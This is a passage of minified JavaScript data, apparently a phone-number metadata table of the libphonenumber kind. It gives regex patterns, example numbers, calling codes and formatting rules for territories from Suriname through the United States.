$2",["[12679]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SR:[null,[null,null,"(?:[2-5]|68|[78]\\d)\\d{5}",null,null,null,null,null,null,[6,7]],[null,null,"(?:2[1-3]|3[0-7]|(?:4|68)\\d|5[2-58])\\d{4}",null,null,null,"211234"],[null,null,"(?:7[124-7]|8[125-9])\\d{5}",null,null,null,"7412345",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"56\\d{4}",null,null,null,"561234",null,null,[6]],"SR",597,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{3})","$1-$2",["[2-4]|5[2-58]"]],[null,"(\\d{2})(\\d{2})(\\d{2})","$1-$2-$3",["5"]],[null,"(\\d{3})(\\d{4})","$1-$2",["[6-8]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SS:[null,[null,null,"[19]\\d{8}",null,null,null,null,null,null,[9]],[null,null,"18\\d{7}",null,null,null,"181234567"],[null,null,"(?:12|9[1257])\\d{7}",null,null,null,"977123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"SS",211,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[19]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],ST:[null,[null,null,"(?:22|9\\d)\\d{5}",null,null,null,null,null,null,[7]],[null,null,"22\\d{5}",null,null,null,"2221234"],[null,null,"9(?:0(?:0[5-9]|[1-9]\\d)|[89]\\d\\d)\\d{3}",null,null,null,"9812345"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"ST",239,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[29]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SV:[null,[null,null,"[267]\\d{7}|[89]00\\d{4}(?:\\d{4})?",null,null,null,null,null,null,[7,8,11]],[null,null,"2[1-6]\\d{6}",null,null,null,"21234567",null,null,[8]],[null,null,"[67]\\d{7}",null,null,null,"70123456",null,null,[8]],[null,null,"800\\d{4}(?:\\d{4})?",null,null,null,"8001234",null,null,[7,11]],[null,null,"900\\d{4}(?:\\d{4})?",null,null,null,"9001234",null,null,[7,11]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"SV",503,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[89]"]],[null,"(\\d{4})(\\d{4})","$1 $2",["[267]"]],[null,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["[89]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SX:[null,[null,null,"(?:(?:[58]\\d\\d|900)\\d|7215)\\d{6}",null,null,null,null,null,null,[10],[7]],[null,null,"7215(?:4[2-8]|8[239]|9[056])\\d{4}",null,null,null,"7215425678",null,null,null,[7]],[null,null,"7215(?:1[02]|2\\d|5[034679]|8[014-8])\\d{4}",null,null,null,"7215205678",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"SX",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"721",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SY:[null,[null,null,"[1-39]\\d{8}|[1-5]\\d{7}",null,null,null,null,null,null,[8,9],[6,7]],[null,null,"(?:1[14]\\d|2(?:1\\d?|[235])|3(?:[13]\\d|4)|4[13]|5[1-3])\\d{6}|1[1-356]\\d{6}",null,null,null,"112345678",null,null,null,[6,7]],[null,null,"9(?:22|[3-589]\\d|6[024-9])\\d{6}",null,null,null,"944567890",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"SY",963,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[1-5]"],"0$1",null,1],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["9"],"0$1",null,1]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SZ:[null,[null,null,"(?:0800|(?:[237]\\d|900)\\d\\d)\\d{4}",null,null,null,null,null,null,[8,9]],[null,null,"[23][2-5]\\d{6}",null,null,null,"22171234",null,null,[8]],[null,null,"7[6-9]\\d{6}",null,null,null,"76123456",null,null,[8]],[null,null,"0800\\d{4}",null,null,null,"08001234",null,null,[8]],[null,null,"900\\d{6}",null,null,null,"900012345",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"70\\d{6}",null,null,null,"70012345",null,null,[8]],"SZ",268,"00",null,null,null,null,null,null,null,[[null,"(\\d{4})(\\d{4})","$1 $2",["[0237]"]],[null,"(\\d{5})(\\d{4})","$1 $2",["9"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"0800\\d{4}",null,null,null,null,null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TA:[null,[null,null,"8\\d{3}",null,null,null,null,null,null,[4]],[null,null,"8\\d{3}",null,null,null,"8999"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"TA",290,"00",null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"8",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TC:[null,[null,null,"(?:[58]\\d\\d|649|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"649(?:712|9(?:4\\d|50))\\d{4}",null,null,null,"6497121234",null,null,null,[7]],[null,null,"649(?:2(?:3[129]|4[1-7])|3(?:3[1-389]|4[1-8])|4[34][1-3])\\d{4}",null,null,null,"6492311234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002345678"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002345678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,"64971[01]\\d{4}",null,null,null,"6497101234",null,null,null,[7]],"TC",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"649",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TD:[null,[null,null,"(?:22|[69]\\d|77)\\d{6}",null,null,null,null,null,null,[8]],[null,null,"22(?:[37-9]0|5[0-5]|6[89])\\d{4}",null,null,null,"22501234"],[null,null,"(?:6[023568]|77|9\\d)\\d{6}",null,null,null,"63012345"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"TD",235,"00|16",null,null,null,null,null,"00",null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[2679]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TG:[null,[null,null,"[279]\\d{7}",null,null,null,null,null,null,[8]],[null,null,"2(?:2[2-7]|3[23]|4[45]|55|6[67]|77)\\d{5}",null,null,null,"22212345"],[null,null,"(?:7[09]|9[0-36-9])\\d{6}",null,null,null,"90112345"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"TG",228,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[279]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TH:[null,[null,null,"(?:1\\d\\d?|[2-57]|[689]\\d)\\d{7}",null,null,null,null,null,null,[8,9,10]],[null,null,"(?:2\\d|3[2-9]|4[2-5]|5[2-6]|7[3-7])\\d{6}",null,null,null,"21234567",null,null,[8]],[null,null,"(?:14|6[1-6]|[89]\\d)\\d{7}",null,null,null,"812345678",null,null,[9]],[null,null,"1800\\d{6}",null,null,null,"1800123456",null,null,[10]],[null,null,"1900\\d{6}",null,null,null,"1900123456",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"6[08]\\d{7}",null,null,null,"601234567",null,null,[9]],"TH",66,"00[1-9]","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["2"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["14|[3-9]"],"0$1"],[null,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TJ:[null,[null,null,"(?:[3-59]\\d|77|88)\\d{7}",null,null,null,null,null,null,[9],[3,5,6,7]],[null,null,"(?:3(?:1[3-5]|2[245]|3[12]|4[24-7]|5[25]|72)|4(?:46|74|87))\\d{6}",null,null,null,"372123456",null,null,null,[3,5,6,7]],[null,null,"(?:41[18]|(?:5[05]|77|88|9[0-35-9])\\d)\\d{6}",null,null,null,"917123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"TJ",992,"810","8",null,null,"8",null,"8~10",null,[[null,"(\\d{4})(\\d)(\\d{4})","$1 $2 $3",["3(?:[1245]|3[12])","3(?:[1245]|3(?:1[0-689]|2))"],null,null,1],[null,"(\\d{6})(\\d)(\\d{2})","$1 $2 $3",["33"],null,null,1],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["4[148]|[578]|9(?:[0235-9]|1[0-69])"],null,null,1],[null,"(\\d{3})(\\d{2})(\\d{4})","$1 $2 $3",["[349]"],null,null,1]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TK:[null,[null,null,"[2-47]\\d{3,6}",null,null,null,null,null,null,[4,5,6,7]],[null,null,"(?:2[2-4]|[34]\\d)\\d{2,5}",null,null,null,"3101"],[null,null,"7[2-4]\\d{2,5}",null,null,null,"7290"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"TK",690,"00",null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TL:[null,[null,null,"(?:[2-4]\\d|7\\d\\d?|[89]0)\\d{5}",null,null,null,null,null,null,[7,8]],[null,null,"(?:2[1-5]|3[1-9]|4[1-4])\\d{5}",null,null,null,"2112345",null,null,[7]],[null,null,"7[3-8]\\d{6}",null,null,null,"77212345",null,null,[8]],[null,null,"80\\d{5}",null,null,null,"8012345",null,null,[7]],[null,null,"90\\d{5}",null,null,null,"9012345",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"70\\d{5}",null,null,null,"7012345",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],"TL",670,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[2-489]|70"]],[null,"(\\d{4})(\\d{4})","$1 $2",["7"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TM:[null,[null,null,"[1-6]\\d{7}",null,null,null,null,null,null,[8]],[null,null,"(?:1(?:2\\d|3[1-9])|2(?:22|4[0-35-8])|3(?:22|4[03-9])|4(?:22|3[128]|4\\d|6[15])|5(?:22|5[7-9]|6[014-689]))\\d{5}",null,null,null,"12345678"],[null,null,"6[1-9]\\d{6}",null,null,null,"66123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"TM",993,"810","8",null,null,"8",null,"8~10",null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2-$3-$4",["12"],"(8 $1)"],[null,"(\\d{2})(\\d{6})","$1 $2",["6"],"8 $1"],[null,"(\\d{3})(\\d)(\\d{2})(\\d{2})","$1 $2-$3-$4",["[1-5]"],"(8 $1)"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TN:[null,[null,null,"[2-57-9]\\d{7}",null,null,null,null,null,null,[8]],[null,null,"(?:(?:3[0-2]|7\\d)\\d{3}|81200)\\d{3}",null,null,null,"30010123"],[null,null,"(?:(?:[259]\\d|4[0-6])\\d\\d|3(?:001|1(?:[1-35]\\d|40)|240|(?:6[0-4]|91)\\d))\\d{4}",null,null,null,"20123456"],[null,null,"8010\\d{4}",null,null,null,"80101234"],[null,null,"88\\d{6}",null,null,null,"88123456"],[null,null,"8[12]10\\d{4}",null,null,null,"81101234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"TN",216,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[2-57-9]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TO:[null,[null,null,"(?:(?:080|[56])0|[2-4]\\d|[78]\\d(?:\\d{2})?)\\d{3}",null,null,null,null,null,null,[5,7]],[null,null,"(?:2\\d|3[1-8]|4[1-4]|[56]0|7[0149]|8[05])\\d{3}",null,null,null,"20123",null,null,[5]],[null,null,"(?:7[578]|8[46-9])\\d{5}",null,null,null,"7715123",null,null,[7]],[null,null,"0800\\d{3}",null,null,null,"0800222",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"TO",676,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{3})","$1-$2",["[2-6]|7[014]|8[05]"]],[null,"(\\d{3})(\\d{4})","$1 $2",["7[578]|8"]],[null,"(\\d{4})(\\d{3})","$1 $2",["0"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TR:[null,[null,null,"(?:[2-58]\\d\\d|900)\\d{7}|4\\d{6}",null,null,null,null,null,null,[7,10]],[null,null,"(?:2(?:[13][26]|[28][2468]|[45][268]|[67][246])|3(?:[13][28]|[24-6][2468]|[78][02468]|92)|4(?:[16][246]|[23578][2468]|4[26]))\\d{7}",null,null,null,"2123456789",null,null,[10]],[null,null,"5(?:(?:0[15-7]|1[06]|24|[34]\\d|5[1-59]|9[46])\\d\\d|6161)\\d{5}",null,null,null,"5012345678",null,null,[10]],[null,null,"800\\d{7}",null,null,null,"8001234567",null,null,[10]],[null,null,"(?:8[89]8|900)\\d{7}",null,null,null,"9001234567",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"592(?:21[12]|461)\\d{4}",null,null,null,"5922121234",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],"TR",90,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d)(\\d{3})","$1 $2 $3",["444"],null,null,1],[null,"(\\d{3})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[2-4]"],"(0$1)",null,1],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["512|[89]"],"0$1",null,1],[null,"(\\d{3})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["5"],"0$1",null,1]],[[null,"(\\d{3})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[2-4]"],"(0$1)",null,1],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["512|[89]"],"0$1",null,1],[null,"(\\d{3})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["5"],"0$1",null,1]],[null,null,"512\\d{7}",null,null,null,"5123456789",null,null,[10]],null,null,[null,null,"444\\d{4}",null,null,null,null,null,null,[7]],[null,null,"(?:444|850\\d{3})\\d{4}",null,null,null,"4441444"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TT:[null,[null,null,"(?:[58]\\d\\d|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"868(?:2(?:01|[23]\\d)|6(?:0[7-9]|1[02-8]|2[1-9]|[3-69]\\d|7[0-79])|82[124])\\d{4}",null,null,null,"8682211234",null,null,null,[7]],[null,null,"868(?:2(?:6[6-9]|[7-9]\\d)|[37](?:0[1-9]|1[02-9]|[2-9]\\d)|4[6-9]\\d|6(?:20|78|8\\d))\\d{4}",null,null,null,"8682911234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002345678"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002345678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"TT",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"868",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"868619\\d{4}",null,null,null,"8686191234",null,null,null,[7]]],TV:[null,[null,null,"(?:2|7\\d\\d|90)\\d{4}",null,null,null,null,null,null,[5,6,7]],[null,null,"2[02-9]\\d{3}",null,null,null,"20123",null,null,[5]],[null,null,"(?:7[01]\\d|90)\\d{4}",null,null,null,"901234",null,null,[6,7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"TV",688,"00",null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TW:[null,[null,null,"(?:[24589]|7\\d)\\d{8}|[2-8]\\d{7}|2\\d{6}",null,null,null,null,null,null,[7,8,9,10]],[null,null,"(?:(?:2[2-8]\\d|3[2-9]|4(?:[239]\\d|[78])|5[2-8]|6[235-79]|7[1-9])\\d\\d|8(?:2(?:3\\d|66)|[7-9]\\d\\d))\\d{4}|24\\d{6}",null,null,null,"221234567",null,null,[8,9]],[null,null,"9[0-8]\\d{7}",null,null,null,"912345678",null,null,[9]],[null,null,"80[0-79]\\d{6}",null,null,null,"800123456",null,null,[9]],[null,null,"20(?:[013-9]\\d\\d|2)\\d{4}",null,null,null,"203123456",null,null,[7,9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"99\\d{7}",null,null,null,"990123456",null,null,[9]],[null,null,"70\\d{8}",null,null,null,"7012345678",null,null,[10]],"TW",886,"0(?:0[25-79]|19)","0","#",null,"0",null,null,null,[[null,"(\\d{2})(\\d)(\\d{4})","$1 $2 $3",["202"],"0$1"],[null,"(\\d)(\\d{3,4})(\\d{4})","$1 $2 $3",["[25][2-8]|[346]|7[1-9]|8[27-9]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[258]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["9"],"0$1"],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["7"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"50[0-46-9]\\d{6}",null,null,null,"500123456",null,null,[9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],TZ:[null,[null,null,"(?:[26-8]\\d|41|90)\\d{7}",null,null,null,null,null,null,[9]],[null,null,"2[2-8]\\d{7}",null,null,null,"222345678"],[null,null,"(?:6[2-9]|7[13-9])\\d{7}",null,null,null,"621234567"],[null,null,"80[08]\\d{6}",null,null,null,"800123456"],[null,null,"90\\d{7}",null,null,null,"900123456"],[null,null,"8(?:40|6[01])\\d{6}",null,null,null,"840123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"41\\d{7}",null,null,null,"412345678"],"TZ",255,"00[056]","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[24]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[67]"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{4})","$1 $2 $3",["[89]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"(?:8(?:[04]0|6[01])|90\\d)\\d{6}"],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],UA:[null,[null,null,"[3-9]\\d{8}",null,null,null,null,null,null,[9],[5,6,7]],[null,null,"(?:3[1-8]|4[13-8]|5[1-7]|6[12459])\\d{7}",null,null,null,"311234567",null,null,null,[5,6,7]],[null,null,"(?:39|50|6[36-8]|7[1-3]|9[1-9])\\d{7}",null,null,null,"391234567"],[null,null,"800\\d{6}",null,null,null,"800123456"],[null,null,"900[2-49]\\d{5}",null,null,null,"900212345"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"89[1-579]\\d{6}",null,null,null,"891234567"],"UA",380,"00","0",null,null,"0",null,"0~0",null,[[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["(?:3[1-8]|4[136-8])2|5(?:[12457]2|6[24])|6(?:[12][29]|[49]2|5[24])|[89]0","3(?:[1-46-8]2[013-9]|52)|4(?:[1378]2|62[013-9])|5(?:[12457]2|6[24])|6(?:[12][29]|[49]2|5[24])|[89]0"],"0$1"],[null,"(\\d{4})(\\d{5})","$1 $2",["3[1-8]|4(?:[1367]|[45][6-9]|8[4-6])|5(?:[1-5]|6[0135689]|7[4-6])|6(?:[12][3-7]|[459])","3[1-8]|4(?:[1367]|[45][6-9]|8[4-6])|5(?:[1-5]|6(?:[015689]|3[02389])|7[4-6])|6(?:[12][3-7]|[459])"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[3-9]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],
UG:[null,[null,null,"(?:(?:[29]0|[347]\\d)\\d|800)\\d{6}",null,null,null,null,null,null,[9],[5,6,7]],[null,null,"(?:20(?:(?:(?:[0147]\\d|5[0-4]|8[0-2])\\d|2(?:40|[5-9]\\d)|3(?:0[0-4]|[2367]\\d))\\d|6(?:00[0-2]|30[0-4]|[5-9]\\d\\d))|[34]\\d{5})\\d{3}",null,null,null,"312345678",null,null,null,[5,6,7]],[null,null,"7(?:(?:[0157-9]\\d|30|4[0-4])\\d|2(?:[03]\\d|60))\\d{5}",null,null,null,"712345678"],[null,null,"800[1-3]\\d{5}",null,null,null,"800123456"],[null,null,"90[1-3]\\d{6}",null,null,null,"901123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"UG",256,"00[057]","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{7})","$1 $2",["3|4(?:[0-5]|6[0-36-9])"],"0$1"],[null,"(\\d{4})(\\d{5})","$1 $2",["202","2024"],"0$1"],[null,"(\\d{3})(\\d{6})","$1 $2",["[247-9]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],US:[null,[null,null,"[2-9]\\d{9}",null,null,null,null,null,null,[10],[7]],[null,null,"(?:2(?:0[1-35-9]|1[02-9]|2[03-589]|3[149]|4[08]|5[1-46]|6[0279]|7[0269]|8[13])|3(?:0[1-57-9]|1[02-9]|2[0135]|3[0-24679]|4[67]|5[12]|6[014]|8[056])|4(?:0[124-9]|1[02-579]|2[3-5]|3[0245]|4[0235]|58|6[39]|7[0589]|8[04])|5(?:0[1-57-9]|1[0235-8]|20|3[0149]|4[01]|5[19]|6[1-47]|7[013-5]|8[056])|6(?:0[1-35-9]|1[024-9]|2[03689]|[34][016]|5[017]|6[0-279]|78|8[0-2])|7(?:0[1-46-8]|1[2-9]|2[04-7]|3[1247]|4[037]|5[47]|6[02359]|7[02-59]|8[156])|8(?:0[1-68]|1[02-8]|2[08]|3[0-28]|4[3578]|5[046-9]|6[02-5]|7[028])|9(?:0[1346-9]|1[02-9]|2[0589]|3[0146-8]|4[0179]|5[12469]|7[0-389]|8[04-69]))[2-9]\\d{6}",null,null,null,"2015550123",null,null,null,[7]],[null,null,"(?:2(?:0[1-35-9]|1[02-9]|2[03-589]|3[149]|4[08]|5[1-46]|6[0279]|7[0269]|8[13])|3(?:0[1-57-9]|1[02-9]|2[0135]|3[0-24679]|4[67]|5[12]|6[014]|8[056])|4(?:0[124-9]|1[02-579]|2[3-5]|3[0245]|4[0235]|58|6[39]|7[0589]|8[04])|5(?:0[1-57-9]|1[0235-8]|20|3[0149]|4[01]|5[19]|6[1-47]|7[013-5]|8[056])|6(?:0[1-35-9]|1[024-9]|2[03689]|[34][016]|5[017]|6[0-279]|78|8[0-2])|7(?:0[1-46-8]|1[2-9]|2[04-7]|3[1247]|4[037]|5[47]|6[02359]|7[02-59]|8[156])|8(?:0[1-68]|1[02-8]|2[08]|3[0-28]|4[3578]|5[046-9]|6[02-5]|7[028])|9(?:0[1346-9]|1[02-9]|2[05